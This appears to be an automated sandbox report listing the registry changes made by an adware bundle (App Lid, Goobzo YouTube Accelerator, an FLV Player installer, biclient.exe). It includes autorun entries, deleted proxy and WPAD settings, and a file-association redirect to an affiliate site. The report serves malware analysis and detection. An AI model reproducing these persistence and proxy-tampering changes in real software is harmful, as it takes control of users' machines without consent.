[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F4 CF 62 08 E6 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "02bca8db07d4973ae815b702cb828c08"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "1E F0 84 0B E6 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "504B5080F5604A4B9DFA4FB197512D8FIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "1E F0 84 0B E6 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process %original file name%.exe:2788 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process YouTubeAccelerator.exe:1532 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "5E CA 5B F7 E5 44 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "83 87 CC FA E5 44 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423540771"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "83 87 CC FA E5 44 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process FLVPlayerSetup.exe:2388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\422.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\422.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\STab_Down_6.0.6.8.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\wpm_v20.0.0.1714_0204.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\XTab_v4.Ã‡Â¿"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\FLV Player]
"Publisher" = "Somoto Ltd."
"EstimatedSize" = "243"

The process TPAutoConnSvc.exe:1776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]
"TrayData" = "2,Tray 3, 3,Tray 2, 1,Tray 1, 4,Manual Feed, 7,Auto Select"
"FormData" = "1,2159,2794,LetterÃ‚Â¶40,40,2086,2712, 5,2159,3556,LegalÃ‚Â¶40,40,2086,3474, 9,2100,2970,A4Ã‚Â¶39,39,2032,2890, 7,1842,2667,ExecutiveÃ‚Â¶40,40,1761,2585, 258,2159,3302,8.5 x 13 (custom)Ã‚Â¶40,40,2086,3220, 11,1480,2100,A5Ã‚Â¶39,39,1408,2020, 70,1050,1480,A6Ã‚Â¶39,39,975,1399, 13,1820,2570,B5 (JIS)Ã‚Â¶39,39,1747,2490, 264,1950,2700,16K 195x270Ã‚Â¶39,39,1882,2620, 263,1840,2600,16K 184x260Ã‚Â¶39,39,1761,2520, 257,1970,2730,16K 197x273Ã‚Â¶39,39,1896,2650, 43,1000,1480,Japanese PostcardÃ‚Â¶39,39,921,1399, 82,1480,2000,Double Japan Postcard RotatedÃ‚Â¶39,39,1408,1919, 20,1046,2413,Envelope #10Ã‚Â¶40,40,975,2331, 37,983,1905,Envelope MonarchÃ‚Â¶40,40,907,1823, 34,1760,2500,Envelope B5Ã‚Â¶39,39,1693,2420, 28,1620,2290,Envelope C5Ã‚Â¶39,39,1544,2209, 27,1100,2200,Envelope DLÃ‚Â¶39,39,1029,2120"
"DelAfterCreate" = "1"

[HKU\.DEFAULT\Printers\DevModes2]
"NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1" = "4E 00 50 00 49 00 34 00 35 00 36 00 41 00 42 00"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]

The process GLB4DD1.tmp:1812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1423540753"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1423540753"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process biclient.exe:2344 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3340 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1728 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "43 A7 76 C4 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "43 A7 76 C4 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "43 A7 76 C4 E5 44 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLJ4E3F.tmp:3496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

